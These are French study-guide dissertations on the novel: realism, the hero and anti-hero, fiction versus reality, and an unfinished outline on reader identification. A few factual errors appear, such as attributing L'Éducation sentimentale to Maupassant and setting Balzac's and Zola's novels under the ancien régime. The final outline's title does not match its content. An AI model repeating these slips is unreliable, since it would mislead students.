Nous te proposons ci-dessous une accroche, une problématique et une annonce de plan pour le sujet « Les romans réalistes ont ils uniquement pour objectif de reproduire la réalité ? ».

Accroche : Balzac parlait du romancier comme pouvant « faire concurrence à l’état civil », en décrivant de manière précise et objective les individus et les faits. 

Problématique : En effet, le romancier réaliste a pour but de décrire la réalité dans ces textes. Cependant, la reproduction de la réalité est-elle vraiment le but unique du romancier réaliste ? 

Annonce de plan : D’abord, le romancier réaliste se fixe pour objectif la reproduction de la réalité (I). Néanmoins, cet objectif est compromis par plusieurs difficultés (II). Ainsi, le but du roman réaliste dépasse la simple retranscription du réel (III). 

Lire aussi : Prépa littéraire : le témoignage de Manon, étudiante en khâgne

Le développement de la dissertation 

Nous te proposons désormais un développement suivant la problématique et l’annonce de plan que nous venons de voir ensemble. 

I. Le romancier réaliste se fixe pour objectif la reproduction de la réalité

N’hésite pas à utiliser la conjonction de coordination « en effet », pour bien montrer que tes parties s’articulent à ton idée directrice, viennent la justifier et l’étayer. 

A. Le mouvement du réalisme se définit par la volonté d’exprimer la réalité de manière fidèle et non idéalisée

On retrouve bien ici l’idée de reproduction du réel (un moyen de montrer que tu colles bien au plus près au sujet). 

Par exemple : 

  • Une réaction au romantisme et au symbolisme : la réalité doit avoir désormais une place de premier plan dans les oeuvres littéraires ;
  • La revue « Réalisme » de Duranty et Assézat, qui prône une « histoire des hommes tout entier » ;
  • « La Comédie humaine » de Balzac, précurseur du réalisme, a pour ambition de représenter le réel tel qu’il est et de transcrire dans ses textes des réalités qui n’avaient auparavant pas leur place dans le roman. Balzac prône une manière quasi scientifique (comme Zola plus tard) de reproduire à l’écrit la réalité de son temps ( cf. La Préface de « La Comédie Humaine »).

B. Le romancier réaliste porte une attention toute particulière aux détails 

  • Flaubert mentionne dans « Trois contes » l’attention qu’il faut porter au « petit fait vrai » ;
  • Certaines descriptions sont extrêmement précises et détaillées : la salle d’étude dans Le Colonel Chabert de Balzac, les salons de la haute société dans Bel-Ami de Maupassant 

Conseil : il est toujours pertinent d’avoir en tête un extrait (même court) que tu peux citer et commenter, en repérant par exemple à des figures de style. Ça prouve que tu as fait un travail sérieux, et ça permet à ta justification d’être plus convaincante. Ne pas oublier que les exemples sont essentiels ! 

(Pour avoir des exemples de ce genre, tu peux te faire pour chaque thème une fiche de courts extraits qui peuvent illustrer plusieurs idées et préparer à l’avance leur analyse… même si attention à ne pas « forcer » le sujet pour pouvoir recaser vos extraits ! 

C. Le romancier réaliste a pour objectif de traiter des traités des thèmes sociaux de son époque

Il y a bien reproduction du contexte, de la réalité.

  • Madame Bovary de Flaubert est inspiré d’une histoire vraie : un fait divers sur une femme qui se suicide en Normandie, de même pour Boule de suif qui se passe après la défaite française de 1870 ;
  • Les inégalités de la société parisienne dans Le Père Goriot ;
  • L’arrivisme dans Bel-Ami de Maupassant ;
  • Les relations conjugales dans Pierre et Jean de Maupassant.

II. Cet objectif de reproduction du réel est compromis par plusieurs difficultés

A. un roman n’est jamais une reproduction de la réalité.

Voici des éléments que tu peux utiliser dans ta dissertation : 

  • Le romancier produit toujours des mots et jamais une réalité, comme le souligne Flaubert qui pointe les limites du réalisme ;
  • À lier avec la philosophie : toute représentation est une trahison , et ne doit pas être confondu avec la vérité ;
  • le langage a ses limites : même si l’auteur a une vision très claire et documentée de la réalité et cherche à la transmettre, jamais les mots ne pourront la retranscrire de manière si fidèle. 

Cf. Maupassant dans la Préface de Pierre et Jean : «  Raconter tout serait impossible, car il faudrait alors un volume au moins par journée, pour énumérer les multitudes d’incidents insignifiants qui emplissent notre existence. Un choix s’impose donc. »

B.  Le romancier présente toujours une réalité subjective, envisagée de son point de vue

Par exemple :

  • Zola : «  un roman est un coin de réel vu à travers un tempérament » ;
  • À lier avec la peinture : quand le peintre réaliste Gustave Courbet peint un « Enterrement à Ornans » , il représente la scène d’un certain point de vue, choisit telles ou telles couleurs, etc. Cette représentation est avant tout subjective . 

C. Le romancier doit recourir à l’imagination pour créer son roman 

Un romancier ne dispose pas de toutes les connaissances nécessaires sur un sujet, et doit avant tout élaborer un roman plaisant pour le lecteur. Son objectif est donc de se baser sur le réel pour inventer une histoire, plus que de le reproduire fidèlement (une idée qui va amener le III.) 

  • La veine romanesque du Père Goriot ;
  • Dans Une ténébreuse affaire , roman dans lequel Balzac s’inspire d’un fait historique avéré, Balzac se détache du réel et ne respecte pas exactement la vérité, afin de produire une intrigue plus intéressante que ne le sont les faits véridiques ;
  • Le personnage volontairement romanesque de Fréderic dans L’Éducation sentimentale  de Maupassant.

III. Le but du roman réaliste dépasse la simple retranscription du réel 

A. le romancier, en plus de reproduire la réalité, doit aussi produire un texte ayant une valeur littéraire et romanesque .

Un roman réaliste, en effet, est avant tout un roman , et non une œuvre scientifique.  

 Par exemple : 

  • Dans Pierre et Jean de Maupassant, une réelle attention est portée à la construction du roman et au déploiement de l’intrigue ;
  • Les descriptions métaphoriques et allégoriques des états d’âme de Jeanne dans Une Vie sont aussi poétiques et très littéraires (cf. le passage où Jeanne sort du couvent et pense dans sa calèche à son retour à la réalité).

B. Le but du romancier réaliste est avant tout non pas de reproduire le réel, mais de le traiter de manière originale 

  • Maupassant se sert de la réalité pour écrire des contes fantastiques comme Le Horla ;
  • Flaubert traite un événement réaliste avec ironie . La manière dont il expose une réalité peut servir une idée. Par exemple : la scène des comices agricoles de Madame Bovary . C’est parce qu’il intercale des scènes très prosaïques avec des scènes de dialogue amoureux entre Rodolphe et Emma que Flaubert se moque de ses personnages.

C – À travers la tentative de reproduction de la réalité, le but premier du romancier est de proposer une réflexion générale sur la condition humaine 

  • Une réflexion sur la vanité dans la nouvelle « La Parure  de Maupassant  »  ;
  • Une réflexion sur l’hypocrisie et l’amour filial dans Le Père Goriot 

L’attention aux « petits faits vrais » et la tentative de reprendre la réalité n’est pas une fin, mais un moyen de toucher du doigt une vérité universelle et plus générale.

Notre conseil ?  Dans un plan dialectique comme celui-ci, ne pas oublier de soigner les transitions ! C’est elles qui vont montrer que ta copie suit une progression logique (et c’est très important aux yeux de ton correcteur).

Lire aussi : Concours général des lycées : qu’est-ce que c’est ?

La conclusion de la dissertation

Conclusion : C larté et C oncision. 

  • Résumé de tes idées : il te faut montrer de manière claire pourquoi tu as répondu à la problématique ;
  • Ouverture : elle ne doit pas être un ajout d’une nouvelle idée, mais une proposition d’une autre question engendrée par la réflexion que tu as eue.

Exemple d’ouverture : pour certains auteurs cependant, le romancier réaliste ne peut jamais saisir totalement la réalité, et c’est par le détour et l’analogie qu’on peut retranscrire la réalité, qui ne se limite à ce que loin voit mais comporte une part d’invisible. C’est une thèse défendue par les symbolistes, et ensuite par les surréalistes. Pour être réaliste, il faut savoir parfois se détourner de la simple description!  

Notre conseil  :

  • La rédiger au brouillon avant pour ne pas être pris par le temps et rendre une dissertation sans conclusion (ce qui risquerait de beaucoup agacer ton correcteur) ;
  • Se rappeler que c’est la dernière impression que tu laisses au correcteur, autant faire bonne impression par un résumé clair et une référence pertinente.

Toutes ces propositions devraient te montrer qu’avec un peu de méthode et si tu ne cherches pas à plaquer des connaissances, mais plutôt à réfléchir en te concentrant uniquement sur le sujet, la dissertation n’est pas un exercice difficile ! 

N’hésitez pas aussi à consulter d’autres corrigés de dissertations que nous avons rédigés.

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Le personnage de roman : héros ou antihéros ?

Sujet de dissertation:  Attendez-vous du personnage principal d’un roman qu’il soit un héros ?

Le roman , à l’origine, fut « héroïque » ; de là, peut-être, le glissement de sens opéré par le mot « héros»: le héros d’un roman, comme d’une pièce de théâtre, puis d’un film, c’est le personnage principal, celui par qui existe l’intrigue, celui qui est au cœur du « nœud » que tranchera le dénouement. Le « héros » pour autant, est-il toujours « héroïque » ? La réponse est facile, a priori : c’est non. Chaque lecteur a dans la tête des personnages romanesques dont le comportement est bien peu héroïque, plutôt médiocre, banal, plus proche du nôtre aussi peut-être... Mais que préférons- nous vivre quand nous lisons un roman ? À quel personnage souhaitons-nous, le cas échéant, nous identifier ? Plus simplement, qu’est-ce qui nous pousse à ouvrir ces livres classés, parfois un peu vite, dans la catégorie « roman » ? Souvent, c’est vrai, nous y cherchons des personnages attachants — un personnage principal que nous suivrons dans un épisode, plus ou moins long, de sa vie imaginaire, réelle ou rêvée. Attendons-nous de lui qu’il soit un vrai « héros » ? C’est ce que nous verrons d’abord. Mais est-ce toujours notre seule attente ? Ne souhaitons-nous pas parfois des person­nages plus proches de nous, plus « humains » ? Le personnage, enfin, est-il notre seule préoccupation ? Pourquoi y aurait-il tou­jours un personnage d’ailleurs ?

I – Le personnage principal est d’abord «un héros»

Retrouver, dans ses lectures, un « héros » : n’est-ce pas là le rêve de l’enfant — et de tout lecteur potentiel resté un tant soit peu enfant ; vibrer à des aventures merveilleuses, s’identifier naïvement au personnage principal doté de toutes les qualités : mâle vertu, dévouement, sagesse parfois, esprit de décision, rare courage, et ce, sans la moindre distance critique. Tels furent peut-être, aux âges dits héroïques, les premiers lecteurs, ou auditeurs, de ce qui n’était pas encore nommément des romans. Si j’ouvre aujourd’hui l’Odyssée , c’est certes pour retrouver le parfum du passé, les épi- thètes homériques, toute une civilisation défunte, c’est aussi, pour l’enfant qu’on est resté, retrouver avec plaisir ce héros magnifique, Ulysse, archétype probable du « héros » romanesque, traversant, au péril de sa vie, maints épisodes étonnants : cyclope, sirènes, nau­frages, tentations charnelles, pour retrouver, au bout du voyage, la merveilleuse Pénélope. Tout lecteur de l’Odyssée « attend » cet héroïsme, les inventions d’Ulysse, ses ruses, son intelligence, sa curiosité ; à travers lui, il part à la conquête de mondes inconnus, et acquiert la connaissance. Héros exemplaire, point trop haut ni divin, il est notre frère, rêvé, presque parfait, notre idéal destin : après de hauts dangers encourus, le retour au pays natal, certes difficultueux, mais finalement heureux avec la femme qui attend, paix et bonheur reconquis. C’est encore et toujours cette sorte de plaisir que j’attends en ouvrant les vieux romans français, comme l’Islandais parcourant les antiques sagas... Redécouvrir les vertus perdues de l’héroïsme, les moments d’un passé révolu : ainsi Roland, défendant seul contre tous, à Roncevaux, la chrétienté un moment menacée par la traîtrise de quelques-uns. Ici, — limite imprécise entre roman et épopée — tout est « plus grand que nature ». Des géants s’affrontent : le coup d’épée de Roland coupe en deux Sarrazin, cheval, rocher voisin... Qui niera le plaisir, ici encore, du lecteur devant l’exploit d’un seul ?

Plus subtils sont les plaisirs du lecteur d’aujourd’hui à lire les vieux « romans » — ceux-là en sont vraiment — du premier vrai romancier français : Chrétien de Troyes. Qu’attendre d’autre du personnage central que son statut et son parcours de héros ? Dans le Chevalier à la charrette, Lancelot est le héros tant attendu. Courageux, noble, généreux, amoureux, il fait tout pour la femme aimée (il commet aussi l’adultère ! — autre forme d’héroïsme...) ; il va même au bout de la honte en montant, par amour, sur la charrette d’infamie (celle du titre) réservée aux criminels qu’on exhibe aux populations. Pour retrouver aussi la femme qu’il aime, Yvain, le Chevalier au lion, se met au service des autres, des faibles, des veuves, de toutes celles ou de ceux qui ont besoin de protecteurs. Il libère même des femmes esclaves dans une drôle de demeure enchantée par le Diable, annonciatrice de  certaines usines du XIXe siècle.... Quel bonheur de regarder ces héros, voire de s’y identifier; certes, ils ont des «faiblesses», mais qui nous les rendent plus proches : il n’y a pas de héros vraiment parfait (si Lancelot n’aimait pas la femme de son roi, nous intéresserait-il d’ailleurs ?) — mais des personnages qui nous aident à sortir de notre grisaille, tels, plus modernes, D’Artagnan des Trois mousquetaires — ou, un cran — littéraire — en-dessous, les héros de Zévaco — Pardaillan — et de Féval — le Bossu (Lagardère)... dont le cinéma s’emparera tout naturellement.

Un peu perdus de vue aujourd’hui, ces héros ? Certes, le roman « sérieux » n’en est plus guère friand. En revanche, le roman de « gare » les utilise encore, ou certaines œuvres dites « policières » (détective infaillible, etc.) — ou ces ouvrages qui firent naguère fortune : ces livres dont vous êtes le héros, où, enfin le lecteur était censé devenir le personnage principal, héroïque tout naturellement ; mais cela concerne davantage le jeu vidéo que la littérature romanesque proprement dite...

Certaines œuvres enfin nous proposent encore des « héros », mais plus nuancés — ou des «héroïnes», plus rares (les romanciers seraient-ils misogynes ?) — telle la princesse de Clèves par exemple, dont l’héroïsme consiste — et il est authentique — à renoncer, après même son veuvage, à l’homme qu’elle aime (et qui l’aime), le duc de Nemours, parce qu’elle le sent obscurément responsable de la mort de son mari, ou, plus subtilement, qu’elle craint les faiblesses de l’amour humain. Le héros ici — comme chez Hugo par exemple, Jean Valjean ou Gwynplaine (L’homme qui rit) — connaît des faiblesses, des doutes, mais qu’il sait transcender. Le héros, c’est aussi celui, ou celle, qui peut se dépasser lui-même, devenir « autre » par un effort de volonté ; c’est souvent à ce genre de métamorphose (du démon à l’ange : les Misérables) que le romancier nous permet d’assister, nous ouvrant les portes de l’espérance. L’héroïsme en quelque sorte y devient plus concret — sauver une Cosette des griffes d’immondes Thénardier —, plus proche de nous. Le héros en nous, qui sommeille, peut se réveiller à ce contact : chacun d’entre nous ne peut-il, au moins dans un domaine, devenir un héros ? Nul par ailleurs, le père Goriot, chez Balzac, devient une sorte de héros de la Paternité. Personnage médiocre (profession : vermicellier), pour ses filles, il tord, geste surhumain, des couverts en vermeil pour les fondre en matière brute et monnayable...

Plus pernicieuses enfin, d’autres formes d’héroïsme nous attendent : ces héros du mal qui, pas seulement chez le marquis de Sade, parcourent la littérature romanesque; citons seulement, dans les Liaisons dangereuses , de Laclos — Valmont le «héros» (ici les guillemets s’imposent d’emblée) ou la Merteuil, l’«héroïne» — dont l’héroïsme consiste à pervertir l’innocence, à séduire, cor rompre, par pur plaisir, ou par jouissance de détruire, ou par pur amour du libertinage, ou pure volonté de puissance : deux héros blafards, emblèmes pathétiques d’une société qui se décompose, d’une classe sociale qu’un prochain séisme (la Révolution) va engloutir... Le héros n’est donc pas au service exclusif du Bien ; au lieu de défendre les orphelines, il peut les violer brutalement ; il peut tuer, tromper ; il peut être, — autre face de nous-mêmes ? — Satan... il n’en demeure pas moins exceptionnel, hors norme, au-dessus de nous, malgré les traits — tristement ou noblement humains — qui les animent aussi. Certains romans, et nous les attendons aussi, nous proposent des gens plus simples.

II- Des personnages peu héroïques

La littérature romanesque est en effet parsemée de personnages dont le comportement est souvent peu «héroïque». Dira- t-on par exemple du chevalier Des Grieux qu’il est un « héros » au sens premier du terme, lui qui ne sait résister aux attraits pervers de la très amorale, mais délicieuse il est vrai, Manon Lescaut ? Est- il héroïque celui qui tue, vole, triche, pour sauver la femme de sa vie ? Le vrai héros du roman de l’abbé Prévost serait plutôt Tiberge, l’ami fidèle qui l’encourage à renoncer aux biens de ce monde. Mais Tiberge est sinistre, et tout lecteur, même raisonnable, a tôt fait de comprendre que Manon vaut bien tout ce que fait, pour elle, son beau chevalier...

Encore ici peut-on parler d’exploit — si on peut appeler ainsi, par exemple, faire évader sa belle d’une prison en tuant un gardien. Des Grieux est de toute façon « au-dessus » du lecteur moyen ; il nous domine, pas seulement socialement, mais en « héroïsme » de la perdition ; qui oserait accompagner sa Manon dans le terrible convoi de déportation de prostituées en Louisiane ? Plus proches, plus « égaux », sont les personnages de certains grands romans du XIXe siècle ; ils nous attirent néanmoins par un certain prestige : Julien Sorel n’est pas un « héros » — nul héroïsme dans la tentative d’assassiner une femme — ni Fabrice del Dongo à Waterloo (d’ailleurs Stendhal l’écrit, jouant avec humour sur les deux sens du mot : « notre héros était fort peu héros en ce moment »... manière de montrer que le personnage de roman peut être, pour le romancier, autre chose qu’un « héros ») — cela ne nous empêche nullement (au contraire ?) de nous attacher à eux et de les retrouver  avec plaisir, à chaque relecture. Projection, certes modifiée, voire embellie ou idéalisée, de leur créateur, le romancier, ils sont aussi, par-là même, la nôtre, des frères de papier plus proches de nous souvent que les frères «de sang»... Encore ceux-ci peuvent-ils toujours nous faire rêver, car ils vivent autre chose — Waterloo ou guillotine ! — que nous, modestes lecteurs...

Mais d’autres romanciers propulsent comme personnage principal des gens tout ordinaires : modestes employés de bureau (Maupassant), petits commerçants étriqués et mesquins, sans rien d’héroïque (ou, s’ils le sont, c’est involontaire : tels ces médiocres personnages de Maupassant toujours, pris à tort pour des espions par l’occupant allemand et fusillés en «héros» malgré eux...) — tels sont, par exemple, les personnages principaux d’ Une vie de Maupassant — Jeanne, archétype de la femme du XIXe siècle, mal éduquée par ses parents, bafouée par son mari, déçue par un fils trop aimé, préférant se réfugier dans le passé que d’affronter un présent trop pénible — ou de Bouvard et Pécuchet de Flaubert, où là, toute velléité d’héroïsme disparaît, personnages à peine mis en relief par le romancier qui au contraire accentue, si l’on peut dire, leur grisaille et leur inépuisable médiocrité. Mais le roman qui représente le mieux le livre sans « héros » (ou héroïne) est bien entendu Madame Bovary , puisqu’en outre, ici, le romancier y ironise sur les autres romans et les personnages, eux, héroïques, de ces-dits romans que la chère Bovary dévora quand elle s’appelait Rouault, au couvent. Et Flaubert de nous dire, avec sarcasme, que tout lecteur — vous ou moi, précise-t-il — qui se complaît à chercher ce genre de littérature et à attendre du personnage principal qu’il soit un héros, est, sinon un parfait crétin, du moins un malheureux humain condamné à mener plus tard une existence médiocre, car, hélas, la vie n’est pas un roman. Erreur fatale de la pauvre Emma qui croit Rodolphe un « héros » de roman alors qu’il n’est qu’un petit séducteur de province, bellâtre et lâche, qui ne veut certes pas d’enlèvement au clair de lune ni de fuite exotique dans un «ailleurs voluptueux»... Et cette gourde de Bovary, est-ce qu’elle ne nous séduit pas autant que ces improbables et caracolants héros de certains romans héroïques ? Elle vit de sa vie propre et nous hante toujours : le lecteur de roman, s’il n’est pas Emma, cherche en la littérature, et le roman, autre chose qu’une évasion facile, ou le rêve. Il cherche, par exemple, à se retrouver soi- même, à se mieux connaître, à se comprendre, voire se juger, dans le bain décapant d’une cruelle ironie qui nous met tous à nu —auteur, lecteur, personnage. Sans compter qu’au-delà du plaisir un peu simple — naïf ? — à se retrouver dans un personnage, existent bien d’autres motivations à la lecture d’un (bon) roman. Cherchons-nous toujours un personnage ? Ne serait-ce pas parfois, un lieu une époque, un thème, ou plus fréquent encore, quoiqu’inconscient souvent chez le lecteur débutant, la magie d’un beau style, celui-là même de Flaubert, par exemple : le style, n’est- il pas parfois le « personnage principal d’un roman » ? Le style est parfois le héros... souvent d’ailleurs quand il n’y a plus de héros, ou que les héros sont fatigués, ou qu’ils sont si nombreux qu’ils s’éparpillent...

III- Déplacement de la notion d’héroïsme

En effet, certains romans, que nous lisons aussi avec plaisir, n’ont pas UN personnage principal, mais plusieurs. D’ailleurs il peut s’agit ici d’héroïsme collectif, comme dans l’Espoir , par exemple, où, en 1937, Malraux nous montre le comportement héroïque d’une multitude de personnages à l’un quelconque duquel le lecteur est bien incapable de s’identifier... C’est ici la « masse » qui est héroïque, résistants espagnols au fascisme, étrangers combattants volontaires des brigades internationales. C’est sur la solidarité de tout un peuple que le romancier — documentariste—          met ici l’accent : personnage-peuple, comme dans certaines œuvres historiques de Michelet, si l’on veut, un peu, s’éloigner du roman proprement dit.

Mais dans des ouvrages a priori plus classiques, comme la Comédie Humaine de Balzac, peut-on, même pour chaque roman pris isolément, parler d’UN personnage ? Qui est, du père Goriot, de Rastignac, de Vautrin, le personnage principal de l’œuvre ? Le personnage principal, ici, n’est-ce pas plutôt la société française que décrit le romancier, ou mieux encore, le romancier Balzac lui- même, Prométhée voleur de feu, tentant de donner un sens à l’Histoire et à ses histoires, personnage titanesque de sa propre œuvre, toujours présent, à chaque ligne, à chaque mot, jugeant ses personnages, les menant à sa guise, par-delà ses doutes et ses interrogations ? N’est-ce pas le «héros» Balzac que j’espère, que j’attends chaque fois que j’ouvre un volume de cette Comédie ? — le héros aux cent romans, aux forces de travail herculéennes, l’homme passionné par la vie, le monde, la littérature ?

Souvent donc, le « héros », c’est l’auteur (et qui plus est dans les autobiographies, romancées, déguisées, faussées ou non : qui prétendra retrouver dans À la recherche du temps perdu quelque autre personnage que Proust lui-même habillé en narrateur-qui-dit-je- mais-qui-n’-est-pas-vraiment-Marcel..) — et tout romancier, à sa manière, n’est-il pas « héros », puisqu’il crée ?

D’ailleurs, de plus en plus, dans le roman contemporain , le personnage s’efface peu à peu, s’amenuise, se perd ; plus incertaines deviennent les lignes de démarcation entre romancier et personnage. Les deux se fondent dans un flou où autobiographie imaginaire et réelle se mêlent, où le romancier devient personnage (.Livret de famille, de Patrick Modiano) en quête de sa propre identité. Non seulement, en effet, le personnage cesse d’être héros, il cesse même d’être, il perd son nom (A... chez Robbe-Grillet, O chez Claude Simon, Monsieur X chez Le Clézio) — il n’a plus ni visage, ni physique, ni contour net, devenant ombre entre les ombres, simples traces noires d’une machine à écrire sur une feuille blanche, sans plus de présence ni d’épaisseur ; tels les « héros » dérisoires et improbables du romancier Samuel Beckett (Molloy ou, mieux encore, celui justement intitulé l’Innommable) ou d’autres (Nouveau Roman essentiellement), où ni plus ni moins importants que les objets, le décor qui les environne, ils n’existent que le temps du déroulement du récit écrit.

Ainsi donc, je peux attendre, lecteur naïf et enthousiaste, du personnage romanesque qu’il soit le héros de mes rêves, qu’il véhicule mon idéal de vie, qu’il incarne mes désirs, dans le Bien ou le Mal, les plus secrets et refoulés, les plus bas ou les plus nobles. Mais je peux attendre bien autre chose, qu’il soit plus proche du monde qui m’entoure, plus fraternel en quelque sorte ; tels sont les anti-héros de certains romans, personnages médiocres choisis dans un échantillonnage banal d’humanité. Je puis même attendre que le personnage se démultiplie, devienne héros collectif, ou, à l’opposé, disparaisse progressivement. Plus d’héroïsme ici, hormis celui de l’écrivain en quête de nouveaux horizons, cherchant de nouvelles routes : le roman, en effet, c’est là sa force, et la probable cause de sa pérennité, est un genre libre, sans règle fixe. Le roman n’a jamais été codifié, — il fut seulement illustré par de grands ancêtres — Stendhal, Balzac et quelques autres — sans que jamais fut instituée une norme. D’où les nouvelles voies dans lesquelles, influencé par d’autres arts — cinéma, théâtre, télévision, ou d’autres moyens d’expression — journalisme, etc. — le roman peut s’engager aujourd’hui, sans cesser d’être vraiment roman. Reste au lecteur, avide de nouveauté et curieux, à s’y retrouver dans une littérature inhabituelle pour lui où font défaut des points de repère — intrigue, personnage, etc. — auquel il avait coutume de se référer. S’il résiste, pour longtemps encore, le roman sera le héros principal de la littérature authentique...

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SUJET: « Tout grand roman est un déicide, c’est-à-dire un assassinat symbolique de la réalité ». Commentez et discutez ces propos à l’aide d’exemples illustratifs.

La littérature demeure le cadre à partir duquel l’écrivain, à travers des genres variés, révèle sa vision du monde. Le roman, plus accessible au public, dévoile de façon plus claire le côté artistique de l’homme de plume. La grandeur et la pertinence de l’œuvre romanesque se mesurent par l’illusion de vérité qu’elle entretient. C’est fort de ce constat qu’il est affirmé : « Tout grand roman est un déicide, c’est-à-dire un assassinat symbolique de la réalité ». En d’autres termes, le véritable roman est une falsification du réel. Mais, la vocation de tout grand roman est-elle uniquement de fictionnaliser la réalité ? Alors, il convient d’une part d’analyser la dimension illusionniste du roman et d’autre part de montrer comment l’œuvre romanesque reflète la vie.

Longtemps dénommé poubelle de la littérature, le roman reste un genre ouvert. C’est un récit fictif en prose qui relate une histoire imaginaire mettant en scène des personnages donnés comme vraisemblables évoluant dans un cadre spatio-temporel bien défini. Partant de cette définition, l’on peut partager que le roman, par le biais de son arme, la fiction, assassine symboliquement la réalité. En effet, tout grand roman est une œuvre d’art. L’écrivain qui le réalise puise sa matière première (personnages, lieux, événements naturels, sociaux….) de la vie réelle et la transforme dans son laboratoire pour obtenir un produit fini. Le romancier met en avant son esprit créatif et imaginatif, son ingéniosité et sa dextérité et s’appuie fortement sur les effets de réel pour fabriquer une œuvre authentique qui essaie de concurrencer la vie. C’est le sens des propos de Balzac dans la préface de La comédie humaine : « Je veux concurrencer l’état-civil ». A l’image du monde réel, il crée un univers qui n’a jamais existé et y fait évoluer des êtres de papiers. Ainsi, il corrobore la vision de Louis Aragon sur le roman. Le surréaliste soutient : « L’art du romancier est de savoir mentir mais mentir en créant l’illusion de vérité ».

Par ailleurs, l’assassinat symbolique est plus saisissant quand l’écrivain décide de reproduire fidèlement la réalité. Il se lance dans une entreprise périlleuse, difficile voir impossible à réaliser. Pour représenter la réalité, l’écrivain est obligé de faire un tri, d’opérer un choix sur les aspects à montrer et laisse en rade par ricochet des pans entiers de la vie réelle. De ce point de vue, il morcèle la réalité et remet en cause sa fidélité de son texte à la vie. Ainsi, l’écrivain trahit et ouvre grandement les portes de la tricherie. C’est d’ailleurs ce que souligne Maupassant dans la préface de son roman Pierre et Jean. « (…) Raconter tout serait impossible, car il faudrait alors un volume au moins par journée, pour énumérer les multitudes d’incidents insignifiants qui emplissent notre existence. Un choix s’impose donc, ce qui est une première atteinte à la théorie de toute la vérité ». Louis Aragon de confirmer : « Le roman est un mentir-vrai. Il falsifie la vie, et comme tout autre art, il choisit dans le réel et le recrée ». En somme, le roman est un produit artistique intimement lié à la vision de l’écrivain qui opte dans le cadre d’une fiction de représenter selon sa sensibilité quelques aspects de la vie choisis sur la base de critères purement subjectifs.

Cependant, le roman, loin d’assassiner symboliquement la réalité, la reflète au contraire. En effet, il prend en compte de façon exhaustive les préoccupations de la société. Le roman a été pendant longtemps une arme de combat contre les injustices sociales, politiques et religieuses. Il fait un diagnostic sans complaisance des maux qui minent le milieu et tente d’y apporter des solutions. La plupart des romans africains produits dans la période dite de contestation entrent dans ce cadre. C’est ainsi qu’une vie de boy de Ferdinand Oyono dénonce avec force les effets néfastes de la colonisation à travers le personnage de Toundi. Le même son de cloche est noté du côté de l’œuvre de Chinua Achébé Le monde s’effondre dans lequel l’auteur fustige le couple colonialisme /racisme par l’intermédiaire d’Okonkwo, le héros du roman. Dans la même veine, le roman cherche également à corriger les défauts des hommes. Les personnages mis en scène portent les valeurs du milieu et peuvent parfois incarner des types qui le plus souvent sont nuisibles à la société. Le romancier crée ses anti-modèles pour pointer du doigt l’hypocrisie, l’intolérance, la méchanceté, la tyrannie et tant d’autres vices qui avilissent l’homme. Dans La symphonie pastorale, André Gide condamne l’attitude hypocrite du Pasteur face à Gertrude, fille aveugle qu’il avait recueillie pour assurer son éducation. D’un amour filial, l’homme d’église bascule vers un amour charnel et détruit ainsi l’équilibre de son foyer. Dans Karim, Ousmane Socé Diop dénonce le vol à travers le personnage de Badara qui détourne les deniers publics pour financer ses séances de rivalité l’opposant à Karim. Badara bat à plate couture son adversaire mais termine ses jours en prison. En gros, le roman, étant un produit du milieu, ne peut en aucun cas ignorer les réalités de celui-ci. Mieux, il devient sa vitrine et son miroir.

Si l’on peut concéder, après analyse, que tout grand roman porte un tort à la réalité, ne peut-on pas aussi accepter que l’œuvre romanesque peint fidèlement la vie. En tout état de cause, il est très difficile de dissocier dans le roman la fiction et la réalité. L’œuvre romanesque étant un pur produit artistique laisse une place importante à l’imagination créatrice. Elle ne peut se passer de la fiction qui constitue sa sève nourricière.

En définitive, la problématique du roman a toujours suscité des débats houleux dans les milieux littéraires. Si d’aucuns pensent qu’il assassine symboliquement la réalité, d’autres soutiennent qu’il est le véritable miroir qui reflète la vie. Face à ces prises de postions parfois trop radicales, il s’avère nécessaire de rappeler la définition du genre en tant que tel. Considéré comme un fourre-tout, une œuvre protéiforme, le roman s’illustre par sa dimension fictive qui l’élève au rang d’un miroir déformant en contact avec la réalité. Ainsi, il reste un produit d’art qui tente de recréer la vie. Mais le roman, compte tenu de son statut de menteur au premier degré, peut-il jouer un rôle éminemment utile dans cette société instable et envahie par les nouveaux objets technologiques

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Un roman est un miroir que lon promène le long dune route, Stendhal. Dissertez.

Introduction

Pour apprécier un roman, est-il nécessaire que le lecteur se reconnaisse et partage les sentiments du personnage principal?

I Pour apprécier, le lecteur a besoin de s’identifier

Le roman est un récit fictif qui raconte les aventures d’un personnage imaginaire. Le lecteur apprécie plus facilement le roman lorsqu’il se sent plus proche du personnage principal.

A) Plus facilement compréhensible, le personnage possède des caractères humains

Le lecteur peut s’identifier au personnage ce qui permet de mieux comprendre le récit et se sentir concerné. Le lecteur peut s’identifier plus facilement au personnage principal lorsqu’il vit dans un cadre de vie réel et possède des caractères humains. Le lecteur rencontre en effet un personnage qui a les mêmes préoccupations du quotidien. Dans les romans réalistes du XIXe siècle par exemple, le romancier s’attache à  décrire le personnage dans ses moindres détails de l’apparence à  sa psychologie avec la volonté de transcrire le réel. Dans le roman du Père Goriot , Balzac raconte l’ascension d’Eugene Rastignac dans la société de l’ancien règime. Il décrit le personnage principal Eugène Rastignac de façon très précise avec un souci du détail vrai. Le lecteur peut alors s’identifier au personnage qui lui ressemble. De même, l’identification au personnage principal est plus simple lorsqu’il vit dans un cadre de vie réel. Emile Zola raconte, dans le roman L’Assommoir, la déchèance dune ouvrière, Gervaise Macquart, dans les faubourgs parisiens de l’ancien régime. Zola évoque avec minutie les diffèrents quartiers de Paris. Un lecteur parisien va se sentir proche du personnage principal et situer plus facilement le récit, ce qui va faciliter l’appréciation du roman.

B) Il possède les mêmes valeurs, les mêmes expériences et se pose les mêmes questions que le personnage. Il se sent compris et s’intéresse au destin du personnage.

C)il vit des aventures du personnage principal en résonnance. il peut vivre des aventures uniques..

Par ailleurs, le lecteur apprécie le roman en s’identifiant au personnage principal car il  va pouvoir vivre les « en résonance » les aventures. Le lecteur va en effet s’imaginer à  la place du personnage. De même,  par exemple en s’identifiant au personnage de Fhileas Fogg du roman d’aventure Le Tour du Monde en Quatre-Vingt Jours de Jules Vernes, le lecteur vit les aventures par procuration ce qui est très plaisant. Le lecteur espère naturellement la réussite des héros qu’il accompagne,  et le succès que le personnage rencontre est souvent proportionnel à  l’élan que le lecteur peut ressentir dans sa lecture. Le lecteur peut ainsi s’évader et oublier le quotidien. C’est d’ailleurs un des principes du roman policier o๠l’on attend que l’enquêteur résolve l’énigme.

TRANSITION:  Certes l’identification permet au lecteur d’apprécier le roman  mais certaines situations l’identification au personnage parait comme difficile voire impossible ainsi que partager des sentiments avec le personnage principal. Pour autant le lecteur peut apprécier le roman.

